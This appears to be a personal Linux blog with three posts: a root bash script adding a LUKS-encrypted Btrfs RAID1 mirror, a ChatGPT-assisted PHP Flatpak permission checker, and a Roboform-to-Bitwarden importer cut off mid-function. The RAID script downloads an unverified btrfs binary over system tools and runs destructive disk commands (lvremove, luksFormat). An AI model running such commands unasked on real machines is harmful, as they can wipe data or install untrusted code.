I recently moved to Linux and have all my hard drives Luks encrypted, including the primary. I decided to convert my ext4 partitions to Btrfs recently, which I’m totally loving. I also decided to grab another nvme drive and use it as a RAID1 (mirror) drive against my primary drive, using Btrfs’ RAID mechanics. Below are the instructions to accomplish this.
Do note that this is for a situation where you already have a BTRFS volume and want to add a device as RAID1. This assumes you already have your system booting to the LUKS encrypted drive with the root being btrfs. Many modern Linux OS installers can do this for you automatically. Parts of these instructions can still be used in other situations.
Hopefully you also have a swap partition under the same LVM as your LUKS root (the Linux Mint installer does this by default), as we’ll be using it. If not, you’ll need to modify the instructions. This script resizes the swap partition and adds an “extra” partition to hold your drive key. This is required because a drive key cannot be loaded off your btrfs volume as both drives need to be unlocked first.
This should be ran from another operating system. I would recommend using Universal USB Installer to do this. It allows you to put multiple OS live cds on a USB key, including optional persistence.
Run the following script as root (you can use sudo). Make sure to fill in the variables section first. Or even better, run the script 1 line at a time to make sure there are no problems.
#!/bin/bash
#-----------------------------------Variables----------------------------------
#Current root drive
CurPart="nvme0n1p3" #The current drive partition in /dev. This example uses nvme disk #0 partition #3
CurCryptVol="vgmint" #What you named your LVM under LUKS
CurCryptRoot="root" #What you named your root partition under the LVM
CurCryptRootSubVol="/" #The path of the subvolume that is used as the root partition. For example, I use “@”
CurCryptSwap="swap_1" #What you named your swap partition under the LVM
CurCryptExtra="extra" #What you WANT to name your extra partition under the LVM
CurCryptExtraSize="100M" #How big you want your extra partition that will hold your key file
CurKeyPath="" #The path to a key file that will unlock both drives. If left blank then one will be created
#New drive
NewDrive="nvme1n1" #The new drive in /dev. This example uses nvme disk #1
NewPart="nvme1n1p3" #The new partition in /dev. You will be creating this with the cfdisk. This example uses nvme disk#1 partition#3
NewCryptName="raid1_crypt" #What we’ll name the root LUKS partition (no LVM)
#Other variables you do not need to set
CurMount="/mnt/primary"
ExtraMountPath="$CurMount/mnt/extra"
BtrfsReleasePath="kdave/btrfs-progs"
BtrfsReleaseFile="btrfs.box.static"
DriveKeyName="drivekey"
echo "---------------------------------Update BTRFS---------------------------------"
echo "Make sure you are using the latest btrfs-progs"
cd "$(dirname "$(which btrfs)")"
LATEST_RELEASE=$(curl -s "https://api.github.com/repos/$BtrfsReleasePath/releases/latest" | grep tag_name | cut -d \" -f4)
wget "https://github.com/$BtrfsReleasePath/releases/download/$LATEST_RELEASE/$BtrfsReleaseFile"
chmod +x "$BtrfsReleaseFile"
echo "Link all btrfs programs to btrfs.box.static. Rename old files as .old.FILENAME"
if ! [ -L ./btrfs ]; then
for v in $(\ls btrfs*); do
if [ "$v" != "$BtrfsReleaseFile" ]; then
mv "$v" ".old.$v"
ln -s "$BtrfsReleaseFile" "$v"
fi
done
fi
echo "--------------------------Current drive and key setup-------------------------"
echo "Mount the current root partition"
cryptsetup luksOpen "/dev/$CurPart" "$CurCryptVol"
vgchange -ay "$CurCryptVol"
mkdir -p "$CurMount"
mount -o "subvol=$CurCryptRootSubVol" "/dev/$CurCryptVol/$CurCryptRoot" "$CurMount"
echo "If the extra volume has not been created, then resize the swap and create it"
if ! [ -e "/dev/$CurCryptVol/$CurCryptExtra" ]; then
lvremove -y "/dev/$CurCryptVol/$CurCryptSwap"
lvcreate -n "$CurCryptExtra" -L "$CurCryptExtraSize" "$CurCryptVol"
mkfs.ext4 "/dev/$CurCryptVol/$CurCryptExtra"
lvcreate -n "$CurCryptSwap" -l 100%FREE "$CurCryptVol"
mkswap "/dev/$CurCryptVol/$CurCryptSwap"
fi
echo "Make sure the key file exists, if it does not, either copy it (if given in $CurKeyPath) or create it"
mkdir -p "$ExtraMountPath"
mount "/dev/$CurCryptVol/$CurCryptExtra" "$ExtraMountPath"
if ! [ -e "$ExtraMountPath/$DriveKeyName" ]; then
if [ "$CurKeyPath" != "" ]; then
if ! [ -e "$CurKeyPath" ]; then
echo "Not found: $CurKeyPath"
exit 1
fi
cp "$CurKeyPath" "$ExtraMountPath/$DriveKeyName"
else
openssl rand -out "$ExtraMountPath/$DriveKeyName" 512
fi
chmod 400 "$ExtraMountPath/$DriveKeyName"
chown root:root "$ExtraMountPath/$DriveKeyName"
fi
echo "Make sure the key file works on the current drive"
if cryptsetup --test-passphrase luksOpen --key-file "$ExtraMountPath/$DriveKeyName" "/dev/$CurPart" test; then
echo "Keyfile successfully opened the LUKS partition."
#cryptsetup luksClose test #This doesn’t seem to be needed
else
echo "Adding keyfile to the LUKS partition"
cryptsetup luksAddKey "/dev/$CurPart" "$ExtraMountPath/$DriveKeyName"
fi
echo "--------------------------------New drive setup-------------------------------"
echo "Use cfdisk to set the new disk as GPT and add partitions."
echo "Make sure to mark the partition you want to use for the raid disk as type “Linux Filesystem”."
echo "Also make it the same size as /dev/$CurPart to avoid errors"
cfdisk "/dev/$NewDrive"
echo "Encrypt the new partition"
cryptsetup luksFormat "/dev/$NewPart"
echo "Open the encrypted partition"
cryptsetup luksOpen "/dev/$NewPart" "$NewCryptName"
echo "Add the key to the partition"
cryptsetup luksAddKey "/dev/$NewPart" "$ExtraMountPath/$DriveKeyName"
echo "Add the new partition to the root btrfs file system"
btrfs device add "/dev/mapper/$NewCryptName" "$CurMount"
echo "Convert to RAID1"
btrfs balance start -dconvert=raid1 -mconvert=raid1 "$CurMount"
echo "Confirm both disks are in use"
btrfs filesystem usage "$CurMount"
echo "--------------------Booting script to load encrypted drives-------------------"
echo "Get the UUID of the second btrfs volume"
Drive2_UUID=$(lsblk -o UUID -d "/dev/$NewPart" | tail -n1)
echo "Create a script to open your second luks volumes before mounting the partition"
echo "Note: In some scenarios this may need to go into “scripts/local-premount” instead of “scripts/local-bottom”"
cat <<EOF > "$CurMount/etc/initramfs-tools/scripts/local-bottom/unlock_drive2"
#!/bin/sh
PREREQ=""
prereqs()
{
echo "\$PREREQ"
}
case "\$1" in
prereqs)
prereqs
exit 0
;;
esac
. /scripts/functions
cryptroot-unlock
vgchange -ay "$CurCryptVol"
mkdir -p /mnt/keyfile
mount "/dev/$CurCryptVol/$CurCryptExtra" /mnt/keyfile
cryptsetup luksOpen /dev/disk/by-uuid/$Drive2_UUID "$NewCryptName" "--key-file=/mnt/keyfile/$DriveKeyName"
umount /mnt/keyfile
rmdir /mnt/keyfile
mount -t btrfs -o "subvol=$CurCryptRootSubVol" "/dev/$CurCryptVol/$CurCryptRoot" /root
#If you are weird like me and /usr is stored elsewhere, here is where you would need to mount it.
#It cannot be done through your fstab in this setup.
#mount --bind /root/sub/sys/usr /root/usr
mount --bind /dev /root/dev
mount --bind /proc /root/proc
mount --bind /sys /root/sys
EOF
chmod 755 "$CurMount/etc/initramfs-tools/scripts/local-bottom/unlock_drive2"
echo "--------------------Setup booting from the root file system-------------------"
echo "Prepare a chroot environment"
for i in dev dev/pts proc sys run tmp; do
mount -o bind /$i "$CurMount/$i"
done
echo "Run commands in the chroot environment to update initramfs and grub"
chroot "$CurMount" <<EOF
echo "Mount the other partitions (specifically for “boot” and “boot/efi”)"
mount -a
echo "Update initramfs and grub"
update-initramfs -u -k all
update-grub
EOF
echo "-----------------------------------Finish up----------------------------------"
echo "Reboot and pray"
reboot
I wanted to make a script to check if updated flatpak app permissions have changed before updating them. I decided to use ChatGPTs newest model, 01-preview for this task and holy crap am I impressed. I had to give it 14 commands to get to the final product and it seems to work great. That number could have been reduced quite a bit had I done things a bit differently.
I still had to find the problems, look up reference docs to correct it, and even debug in an IDE a little. But just telling it where the problems were, it got there in the end, and its user interaction output is way better than what I was planning on doing.
<?php
// -- This script checks for Flatpak updates and reports permission changes. --
// Function to parse permissions from Flatpak metadata
function parsePermissions($content) {
$permissions = [];
$lines = is_array($content) ? $content : explode("\n", $content);
$currentSection = '';
$skipSections = ['Application']; // Sections to skip
foreach ($lines as $line) {
$line = trim($line);
if (empty($line)) {
continue;
}
// Check for section headers
if (preg_match('/^\[(.*)\]$/', $line, $matches)) {
$currentSection = $matches[1];
// Skip the [Application] section
if (in_array($currentSection, $skipSections)) {
$currentSection = '';
continue;
}
$permissions[$currentSection] = [];
} elseif ($currentSection !== '') {
// Only process lines within non-skipped sections
$parts = explode('=', $line, 2);
if (count($parts) == 2) {
$key = $parts[0];
$values = explode(';', trim($parts[1], ';'));
$permissions[$currentSection][$key] = $values;
} else {
// Handle keys without '=' (e.g., single permissions)
$permissions[$currentSection][$line] = [];
}
}
}
return $permissions;
}
// Function to compare permissions
function comparePermissions($current, $new) {
$differences = [];
// Get all sections
$sections = array_unique(array_merge(array_keys($current), array_keys($new)));
foreach ($sections as $section) {
$currentSection = isset($current[$section]) ? $current[$section] : [];
$newSection = isset($new[$section]) ? $new[$section] : [];
// Get all keys in this section
$keys = array_unique(array_merge(array_keys($currentSection), array_keys($newSection)));
foreach ($keys as $key) {
$currentValues = isset($currentSection[$key]) ? $currentSection[$key] : [];
$newValues = isset($newSection[$key]) ? $newSection[$key] : [];
// Compare values
$added = array_diff($newValues, $currentValues);
$removed = array_diff($currentValues, $newValues);
if (!empty($added) || !empty($removed)) {
$differences[$section][$key] = [
'added' => $added,
'removed' => $removed,
];
}
}
}
return $differences;
}
// Function to output a line with appId (if given), colored red (IsError=true) or green (IsError=false)
function outputColor($appId, $str, $isError=true, $NoNewline=false)
{
// Determine if coloring should be used
static $hasColors=null;
if(!isset($hasColors)) {
$hasColors=stream_isatty(STDOUT) && (!trim(`command -v tput`) || intval(`tput colors`)>=16);
}
echo
(!$hasColors ? '' : ($isError ? "\e[31m" : "\e[32m")).
($appId ? "$appId: " : '').
$str.
(!$hasColors ? '' : "\e[0m").
($NoNewline ? '' : "\n");
}
// Function to display permission differences
function displayDifferences($appId, $differences) {
outputColor($appId, 'Permission changes:');
foreach ($differences as $section => $keys) {
outputColor(null, " [$section]");
foreach ($keys as $key => $changes) {
if (!empty($changes['added'])) {
outputColor(null, " + $key = " . implode(';', $changes['added']));
}
if (!empty($changes['removed'])) {
outputColor(null, " - $key = " . implode(';', $changes['removed']));
}
}
}
echo "\n";
}
// Function to ask the user a question
function askQuestion($Question) {
outputColor('', "$Question (y/N): ", true, true);
$handle = fopen('php://stdin', 'r');
$line = fgets($handle);
$answer = trim(strtolower($line));
fclose($handle);
return ($answer == 'y' || $answer == 'yes');
}
// Get architecture (moved above the loop)
$archCommand = 'flatpak --default-arch';
exec($archCommand, $archOutput);
$arch = trim(implode('', $archOutput));
// Step 1: Get the list of installed Flatpaks
$installedCommand = 'flatpak list -a --columns=application,branch,origin,options';
exec($installedCommand, $installedOutput);
// Remove header line if present
if (!empty($installedOutput) && strpos($installedOutput[0], 'Application ID') !== false) {
array_shift($installedOutput);
}
// Build an associative array of installed applications
$installedApps = [];
foreach ($installedOutput as $line) {
// The output is tab-delimited
$columns = explode("\t", trim($line));
if (count($columns) >= 4) {
$appId = $columns[0];
$branch = $columns[1];
$origin = $columns[2];
$options = $columns[3];
$installedApps[$appId] = [
'appId' => $appId,
'branch' => $branch,
'origin' => $origin,
'options' => $options,
];
}
}
// Get the list of updates
exec('echo n | flatpak update', $updatesOutput);
foreach ($updatesOutput as $Line) {
if (preg_match('/^ *\d+\.\s+([\w\.-]+)/', $Line, $matches)) {
$updatesAvailable[]=$matches[1];
}
}
// Let the user confirm the updates
echo str_repeat('-', 80)."\n";
echo implode("\n", $updatesOutput)."\n";
echo str_repeat('-', 80)."\n";
if (empty($updatesAvailable)) {
outputColor('', 'No updates available for installed Flatpaks.');
exit(0);
}
if (!askQuestion('Found '.count($updatesAvailable).' updates. Continue?')) {
echo "Updates canceled.\n";
exit(0);
}
$permissionChanges = [];
foreach ($updatesAvailable as $appId) {
if (!isset($installedApps[$appId])) {
outputColor($appId, 'Installed app not found. Skipping.');
continue;
}
$app = $installedApps[$appId];
$branch = $app['branch'];
$origin = $app['origin'];
$options = $app['options'];
// Determine if it's an app or runtime
$isRuntime = strpos($options, 'runtime') !== false;
// Paths to the metadata files
if ($isRuntime) {
$metadataPath = "/var/lib/flatpak/runtime/$appId/$arch/$branch/active/metadata";
} else {
$metadataPath = "/var/lib/flatpak/app/$appId/$arch/$branch/active/metadata";
}
// Check if the metadata file exists
if (!file_exists($metadataPath)) {
outputColor($appId, 'Metadata file not found. Skipping.');
continue;
}
// Read current permissions from the metadata file
$metadataContent = file_get_contents($metadataPath);
$currentPermissions = parsePermissions($metadataContent);
// Get new metadata from remote
$ref = $appId . '/' . $arch . '/' . $branch;
$remoteInfoCommand = 'flatpak remote-info --show-metadata ' . escapeshellarg($origin) . ' ' . escapeshellarg($ref);
// Clear $remoteOutput before exec()
$remoteOutput = [];
exec($remoteInfoCommand, $remoteOutput);
if (empty($remoteOutput)) {
outputColor($appId, 'Failed to retrieve remote metadata. Skipping.');
continue;
}
// Parse new permissions from the remote metadata
$newPermissions = parsePermissions($remoteOutput);
// Compare permissions
$differences = comparePermissions($currentPermissions, $newPermissions);
if (!empty($differences)) {
$permissionChanges[$appId] = $differences;
displayDifferences($appId, $differences);
} else {
outputColor($appId, 'No permission changes found.', false);
}
}
// If there are no permission changes, inform the user
if (empty($permissionChanges)) {
echo "No permission changes detected in the available updates.\n";
}
// Ask user if they want to proceed
if (askQuestion('Do you want to proceed with the updates?')) {
// Proceed with updates
echo "Updating Flatpaks...\n";
passthru('flatpak update -y');
} else {
echo "Updates canceled.\n";
}
?>
List of the changes I made from the AI produced script
Added “outputColor” function and wrapped appropriate echo statements into it
Added “-a” to “flatpak list”
Added output line “Installed app not found. Skipping”
Added output line “No permission changes found.”
Added “askQuestion” function since there are now multiple places in the script that ask questions
Changed get-updates command from “flatpak remote-ls --updates” to “echo n | flatpak update” (with a regex extraction). Also now confirms the update list with the user.
The commands I gave the AI
For demonstration purposes, I have left all of my original typos uncorrected below.
Write me a program in php that checks if there are any updates for my installed flatpaks. and then for each flatpak check and see if the permissions have changed between my current version and the new version. report to me the changes. then ask me if i want to continue with the updates.
your code doesnt work.
first $command = 'flatpak list --app --updates --columns=application,app,branch,origin,installation'; should be flatpak remote-ls --updates --columns=application,app,branch,origin (installation is an invalid column)
and then flatpak info --show-permissions doesnt give the original permissions. you have to get the original non-user-modified permissions from /var/lib/flatpak
the line if (empty($output)) { is incorrect, it should be if (count($output)) { as $output is an array, not a string
$columns = preg_split('/\s{2,}/', trim($line)); is incorrect. its tab delimited, so it just needs to be explode("\t", trim($line));
you also have a problem with the $metadataPath. its not always in /var/lib/flatpak/app/ . It may be in /var/lib/flatpak/runtime/. You can confirm which directory it should be in with the options column having "runtime" as an option.
in the --columns for your first command, "application" should be "name"
actually, you cant get the options from flatpak remote-ls --updates . you have to get the options from flatpak list
flatpak remote-info does not have an option --show-permissions
in your flatpak remote-info command, there is no --branch option.
there is no --assumeno option
there is no --dry-run permission. perhaps use --no-deploy?
you are incorrect. flatpak remote-info does not have an option --show-permissions . we already went over that. perhaps flatpak remote-info --show-metadata to get the permissions
flatpak remote-info does not have --branch
when checking the metadata, do not compare the info under [Application]
also, move the "Get architecture" line above its for loop
you have a problem with exec($remoteInfoCommand, $remoteOutput); you need to always empty $remoteOutput before running the exec. Otherwise, it appends the data to what is already there.
The final script the AI produced
<?php
/**
* This script checks for Flatpak updates and reports permission changes.
*/
// Function to parse permissions from Flatpak metadata
function parsePermissions($content) {
$permissions = [];
$lines = is_array($content) ? $content : explode("\n", $content);
$currentSection = '';
$skipSections = ['Application']; // Sections to skip
foreach ($lines as $line) {
$line = trim($line);
if (empty($line)) {
continue;
}
// Check for section headers
if (preg_match('/^\[(.*)\]$/', $line, $matches)) {
$currentSection = $matches[1];
// Skip the [Application] section
if (in_array($currentSection, $skipSections)) {
$currentSection = '';
continue;
}
$permissions[$currentSection] = [];
} elseif ($currentSection !== '') {
// Only process lines within non-skipped sections
$parts = explode('=', $line, 2);
if (count($parts) == 2) {
$key = $parts[0];
$values = explode(';', trim($parts[1], ';'));
$permissions[$currentSection][$key] = $values;
} else {
// Handle keys without '=' (e.g., single permissions)
$permissions[$currentSection][$line] = [];
}
}
}
return $permissions;
}
// Function to compare permissions
function comparePermissions($current, $new) {
$differences = [];
// Get all sections
$sections = array_unique(array_merge(array_keys($current), array_keys($new)));
foreach ($sections as $section) {
$currentSection = isset($current[$section]) ? $current[$section] : [];
$newSection = isset($new[$section]) ? $new[$section] : [];
// Get all keys in this section
$keys = array_unique(array_merge(array_keys($currentSection), array_keys($newSection)));
foreach ($keys as $key) {
$currentValues = isset($currentSection[$key]) ? $currentSection[$key] : [];
$newValues = isset($newSection[$key]) ? $newSection[$key] : [];
// Compare values
$added = array_diff($newValues, $currentValues);
$removed = array_diff($currentValues, $newValues);
if (!empty($added) || !empty($removed)) {
$differences[$section][$key] = [
'added' => $added,
'removed' => $removed,
];
}
}
}
return $differences;
}
// Function to display permission differences
function displayDifferences($appId, $differences) {
echo "Permission changes for $appId:\n";
foreach ($differences as $section => $keys) {
echo " [$section]\n";
foreach ($keys as $key => $changes) {
if (!empty($changes['added'])) {
echo " + $key = " . implode(';', $changes['added']) . "\n";
}
if (!empty($changes['removed'])) {
echo " - $key = " . implode(';', $changes['removed']) . "\n";
}
}
}
echo "\n";
}
// Get architecture (moved above the loop)
$archCommand = 'flatpak --default-arch';
exec($archCommand, $archOutput);
$arch = trim(implode('', $archOutput));
// Step 1: Get the list of installed Flatpaks
$installedCommand = 'flatpak list --columns=application,branch,origin,options';
exec($installedCommand, $installedOutput);
// Remove header line if present
if (!empty($installedOutput) && strpos($installedOutput[0], 'Application ID') !== false) {
array_shift($installedOutput);
}
// Build an associative array of installed applications
$installedApps = [];
foreach ($installedOutput as $line) {
// The output is tab-delimited
$columns = explode("\t", trim($line));
if (count($columns) >= 4) {
$appId = $columns[0];
$branch = $columns[1];
$origin = $columns[2];
$options = $columns[3];
$installedApps[$appId] = [
'appId' => $appId,
'branch' => $branch,
'origin' => $origin,
'options' => $options,
];
}
}
// Get the list of available updates
$updatesCommand = 'flatpak remote-ls --updates --columns=application';
exec($updatesCommand, $updatesOutput);
// Remove header line if present
if (!empty($updatesOutput) && strpos($updatesOutput[0], 'Application ID') !== false) {
array_shift($updatesOutput);
}
// Build a list of applications that have updates
$updatesAvailable = array_map('trim', $updatesOutput);
if (empty($updatesAvailable)) {
echo "No updates available for installed Flatpaks.\n";
exit(0);
}
$permissionChanges = [];
foreach ($updatesAvailable as $appId) {
if (!isset($installedApps[$appId])) {
// The updated app is not in the installed apps list, skip it
continue;
}
$app = $installedApps[$appId];
$branch = $app['branch'];
$origin = $app['origin'];
$options = $app['options'];
// Determine if it's an app or runtime
$isRuntime = strpos($options, 'runtime') !== false;
// Paths to the metadata files
if ($isRuntime) {
$metadataPath = "/var/lib/flatpak/runtime/$appId/$arch/$branch/active/metadata";
} else {
$metadataPath = "/var/lib/flatpak/app/$appId/$arch/$branch/active/metadata";
}
// Check if the metadata file exists
if (!file_exists($metadataPath)) {
echo "Metadata file not found for $appId. Skipping.\n";
continue;
}
// Read current permissions from the metadata file
$metadataContent = file_get_contents($metadataPath);
$currentPermissions = parsePermissions($metadataContent);
// Get new metadata from remote
$ref = $appId . '/' . $arch . '/' . $branch;
$remoteInfoCommand = 'flatpak remote-info --show-metadata ' . escapeshellarg($origin) . ' ' . escapeshellarg($ref);
// Clear $remoteOutput before exec()
$remoteOutput = [];
exec($remoteInfoCommand, $remoteOutput);
if (empty($remoteOutput)) {
echo "Failed to retrieve remote metadata for $appId. Skipping.\n";
continue;
}
// Parse new permissions from the remote metadata
$newPermissions = parsePermissions($remoteOutput);
// Compare permissions
$differences = comparePermissions($currentPermissions, $newPermissions);
if (!empty($differences)) {
$permissionChanges[$appId] = $differences;
displayDifferences($appId, $differences);
}
}
// If there are no permission changes, inform the user
if (empty($permissionChanges)) {
echo "No permission changes detected in the available updates.\n";
}
// Ask user if they want to proceed
echo "Do you want to proceed with the updates? (y/N): ";
$handle = fopen("php://stdin", "r");
$line = fgets($handle);
$answer = trim(strtolower($line));
if ($answer == 'y' || $answer == 'yes') {
// Proceed with updates
echo "Updating Flatpaks...\n";
passthru('flatpak update -y');
} else {
echo "Updates canceled.\n";
}
fclose($handle);
?>
I created this script because I wasn’t happy with the native Roboform importer inside Bitwarden. This fixed multiple problems including:
* Ignoring MatchUrls
* Parent folders weren’t created if they had no items in them (e.x. if I had identities in Financial/Banks, but nothing in /Financial, then it wouldn’t be created /Financial)
* Completely ignoring the extra fields (RfFieldsV2)
This fixes all those problems.
This needs to be ran via php in a command line interface, so `php convert.php`. It requires the [bitwarden cli “bw” command](https://bitwarden.com/help/cli/).
There are 2 optional arguments you can pass:
1) The name of the import file. If not given, `./RfExport.csv` will be used
2) The “bw” session token. If not given as a parameter, it can be set directly inside this file on line #4. You get this token by running `bw unlock` (after logging in with `bw login`).
This script does the following:
* Reads from a csv file exported by Roboform to import into bitwarden
* Runs `bw sync` before processing
* Imported Fields:
* Name: Becomes the name of the item
* Url: Becomes the URL for the item
* MatchUrl: If this is not the same “Url” then it is added as another URL for the item
* Login: Becomes the login (user) name
* Pwd: Becomes the password
* Note: Becomes the note
* Folder: Item is put in this folder
* RfFieldsV2 (multiple):
* Fields that match the login or password fields are marked as “linked fields” to those. If the field names are the following, they are not added as linked fields: *user, username, login, email, userid, user id, user id$, user_email, login_email, user_login, password, passwd, password$, pass, user_password, login_password, pwd, loginpassword*
* Fields that are different than the login or password are added as appropriate “Custom fields”. Supported types: '', rad, sel, txt, pwd, rck, chk, are
* Each field has 5 values within it, and 3 of those seem to be different types of names. So as long as they are not duplicates of each other, each name is stored as a seperate field.
* If all fields are blank but “name” and “note” then the item is considered a “Secure Note”
* While reading the csv file for import, errors and warnings are sent to stdout
* After the csv import has complete, it will give a total number of warnings/errors and ask the user if they want to continue
* Creates missing folders (including parents that have no items in them)
* During export to bitwarden:
* This process can be quite slow since each instance of running “bw” has to do a lot of work
* Keeps an active count of items processed and the total number of items
* If duplicates are found (same item name and folder) then the user is prompted for what they want to do. Which is either s=skip or o=overwrite. A capitol of those letters can be given to perform the same action on all subsequent duplicates.
* Errors are sent to stdout
<?php
global $BW_SESSION;
/** @noinspection SpellCheckingInspection,RedundantSuppression */
$BW_SESSION=($argv[2] ?? 'FILL_ME_IN');
print RunMe($argv)."\n";
//Make sure “bw” is installed, given session is valid, and is synced
function CheckBWStatus(): ?string
{
if(is_string($StatusCheck=RunBW('status')))
return $StatusCheck;
else if(!is_object($StatusCheck) || !isset($StatusCheck->status))
return 'bw return does not have status';
else if($StatusCheck->status==='locked')
return 'bw is locked';
else if($StatusCheck->status!=='unlocked')
return 'bw status is invalid';
$ExpectedMessage='Syncing complete.';
if(is_string($SyncCheck=RunBW('sync', null, false)))
return $SyncCheck;
else if($SyncCheck[0]!==$ExpectedMessage)
return "Sync expected “${ExpectedMessage}” but got “${SyncCheck[0]}”";
return null;
}
//Pull the known folders
function PullKnownFolders(): string|array
{
$FolderIDs=[];
if(is_string($FolderList=RunBW('list folders')))
return $FolderList;
foreach($FolderList as $Folder)
$FolderIDs[$Folder->name]=$Folder->id;
unset($FolderIDs['No Folder']);
return $FolderIDs;
}
//Get the file handle and the column indexes
function GetFileAndColumns(): string|array
{
//Prepare the import file for reading
ini_set('default_charset', 'UTF-8');
$FileName=$argv[1] ?? './RfExport.csv';
if(!file_exists($FileName))
return 'File not found: '.$FileName;
else if(!($f=fopen($FileName, 'r')))
return 'Error opening file: '.$FileName;
//Check the header row values
if(!($HeadRow=fgetcsv($f)))
return 'Error opening file: '.$FileName;
else if(!count($HeadRow) || $HeadRow[0]===NULL)
return 'Missing head row: '.$FileName;
if(str_starts_with($HeadRow[0], "\xEF\xBB\xBF")) //Remove UTF8 BOM
$HeadRow[0]=substr($HeadRow[0], 3);
unset($FileName);
$ExpectedCols=array_flip(['Url', 'Name', 'MatchUrl', 'Login', 'Pwd', 'Note', 'Folder', 'RfFieldsV2']);
$ColNums=[];
foreach($HeadRow as $Index => $Name) {
if(!isset($ExpectedCols[$Name]))
if(isset($ColNums[$Name]))
return 'Duplicate column title: '.$Name;
else
return 'Unknown column title: '.$Name;
$ColNums[$Name]=$Index;
unset($ExpectedCols[$Name]);
}
if(count($ExpectedCols))
return 'Required columns not found: '.implode(', ', array_keys($ExpectedCols));
else if($ColNums['RfFieldsV2']!==count($ColNums)-1)
return 'RfFieldsV2 must be the last column';
return [$f, $ColNums];
}
//Process the rows
function ProcessRows($f, array $ColNums, array &$FolderIDs): array
{
$Counts=['Error'=>0, 'Warning'=>0, 'Success'=>0];
$RowNum=0;
$FolderNames=[];
$Items=[];
while($Line=fgetcsv($f, null, ",", "\"", "")) {
//Process the row and add result type to counts
$RowNum++;
$Result=ProcessRow($Line, $ColNums);
$Counts[$Result[0]]++;
//Handle errors and warnings
if($Result[0]!=='Success') {
print "$Result[0]: Row #$RowNum $Result[1]\n";
continue;
} else if(isset($Result['Warnings']) && count($Result['Warnings'])) {
print "Warning(s): Row #$RowNum ".implode("\n", $Result['Warnings'])."\n";
$Counts['Warning']+=count($Result['Warnings']);
}
//Add the folder to the list of folders (strip leading slash)
$FolderName=($Line[$ColNums['Folder']] ?? '');
$FolderName=substr($FolderName, ($FolderName[0] ?? '')==='/' ? 1 : 0);
$Result['Data']->folderId=&$FolderIDs[$FolderName];
$FolderNames[$FolderName]=1;
//Save the entry
$Items[]=$Result['Data'];
}
fclose($f);
return [$Counts, $FolderNames, $Items, $RowNum];
}
//Process a single row
function ProcessRow($Line, $ColNums): array
{
//Skip blank lines
if(!count($Line) || (count($Line)===1 && $Line[0]===null))
return ['Warning', 'is blank'];
//Extract the columns by name
$C=(object)[];
foreach($ColNums as $Name => $ColNum)
$C->$Name=$Line[$ColNum] ?? '';
//Check for errors and end processing early for notes
if($C->Name==='')
return ['Error', 'is missing a name'];
else if($C->Url==='' && $C->MatchUrl==='' & $C->Login==='' && $C->Pwd==='') {
return ['Success', 'Data'=>(object)['type'=>2, 'notes'=>$C->Note, 'name'=>$C->Name, 'secureNote'=>['type'=>0]]];
}
//Create a login card
$Ret=(object)[
'type'=>1,
'name'=>$C->Name,
'notes'=>$C->Note==='' ? null : $C->Note,
'login'=>(object)[
'uris'=>[(object)['uri'=>$C->Url]],
'username'=>$C->Login,
'password'=>$C->Pwd,
],
];
if($C->MatchUrl!==$C->Url)
$Ret->login->uris[]=(object)['uri'=>$C->MatchUrl];
//Create error string for mist fields
$i=0; //Declared up here so it can be used in $FormatError
$FormatError=function($Format, ...$Args) use ($ColNums, &$i): string {
return 'RfFieldsV2 #'.($i-$ColNums['RfFieldsV2']+1).' '.sprintf($Format, ...$Args);
};
//Handle misc/extra (RfFieldsV2) fields
$Warnings=[];
for($i=$ColNums['RfFieldsV2']; $i<count($Line); $i++) {
//Pull in the parts of the misc field
if(count($Parts=str_getcsv($Line[$i], ",", "\"", ""))!==5)
return ['Error', $FormatError('is not in the correct format')];
$Parts=(object)array_combine(['Name', 'Name3', 'Name2', 'Type', 'Value'], $Parts);
if(!trim($Parts->Name))
return ['Error', $FormatError('invalid blank name found')];
//Figure out which “Names” to process
$PartNames=[trim($Parts->Name)];
foreach([$Parts->Name2, $Parts->Name3] as $NewName)
if($NewName!=='' && !in_array($NewName, $PartNames))
$PartNames[]=$NewName;
//Process the different names
foreach($PartNames as $PartName) {
//Determined values for the item
$LinkedID=null;
$PartValue=$Parts->Value;
/** @noinspection PhpUnusedLocalVariableInspection */ $Type=null; //Overwritten in all paths
//Handle duplicate usernames and password fields
if(($IsLogin=($PartValue===$C->Login)) || $PartValue===$C->Pwd) {
if($Parts->Type!==($IsLogin ? 'txt' : 'pwd'))
$Warnings[]=$FormatError('expected type “%s” but got “%s”', $IsLogin ? 'txt' : 'pwd', $Parts->Type);
$Type=3;
$PartValue=null;
$LinkedID=($IsLogin ? 100 : 101);
//If a common name then do not add the linked field
/** @noinspection SpellCheckingInspection */
if(in_array(
strToLower($PartName),
$IsLogin ?
['user', 'username', 'login', 'email', 'userid', 'user id', 'user id$', 'user_email', 'login_email', 'user_login'] :
['password', 'passwd', 'password$', 'pass', 'user_password', 'login_password', 'pwd', 'loginpassword']
))
continue;
} else {
//Convert the type
switch($Parts->Type) {
case '': //For some reason some text fields have no type given
case 'rad':
case 'sel':
case 'txt': $Type=0; break;
case 'pwd': $Type=1; break;
case 'rck': //Radio check?
$Type=0;
if($PartName!==$Parts->Name) //Ignore second names for radio checks
continue 2;
if(count($RadioParts=explode(':', $PartName))!==2)
return ['Error', $FormatError('radio name needs 2 parts separated by a colon')];
$PartName=$RadioParts[0];
$PartValue=$RadioParts[1];
break;
case 'chk':
$Type=2;
if($PartValue==='*' || $PartValue==='1')
$PartValue='true';
else if($PartValue==='0')
$PartValue='false';
else
return ['Error', $FormatError('invalid value for chk type “%s”', $PartValue)];
break;
case 'are': //This seems to be a captcha
continue 2;
default:
return ['Error', $FormatError('invalid field type “%s”', $Parts->Type)];
}
}
//Create the return object
if(!isset($Ret->fields))
$Ret->fields=[];
$Ret->fields[]=(object)[
'name'=>$PartName,
'value'=>$PartValue,
'type'=>$Type,
'linkedId'=>$LinkedID,
];
}
}
//Return finished item and warnings
if(count($Warnings))
$Warnings[0]="RfFieldsV2 warnings:\n".$Warnings[0];
return ['Success', 'Data'=>$Ret, 'Warnings'=>$Warnings];
}
//Ask the user if they want to continue
function ConfirmContinue($Counts, $RowNum): ?string
{
//Ask the user if they want to continue
printf("Import from spreadsheet is finished. Total: %d; Successful: %d, Errors: %d, Warnings: %d\n", $RowNum, $Counts['Success'], $Counts['Error'], $Counts['Warning']);
while(1) {
print 'Do you wish to continue the export to bitwarden? (y/n): ';
fflush(STDOUT);
switch(trim(strtolower(fgets(STDIN)))) {
case 'n':
return 'Exiting';
case 'y':
break 2;
}
}
return null;
}
//Get folder IDs and create parent folders for children
function GetFolders($FolderNames, &$FolderIDs): ?string
{
foreach(array_keys($FolderNames) as $FolderName) {
